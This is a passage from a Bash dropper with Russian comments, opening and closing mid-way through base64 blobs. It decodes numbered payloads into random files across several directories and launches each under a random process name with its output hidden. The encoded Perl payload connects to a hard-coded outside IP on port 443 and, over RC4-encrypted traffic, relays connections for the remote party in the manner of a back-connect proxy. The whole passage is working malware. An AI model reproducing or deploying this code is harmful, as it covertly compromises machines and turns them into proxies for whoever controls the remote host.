Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #55 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #55 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 56 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo 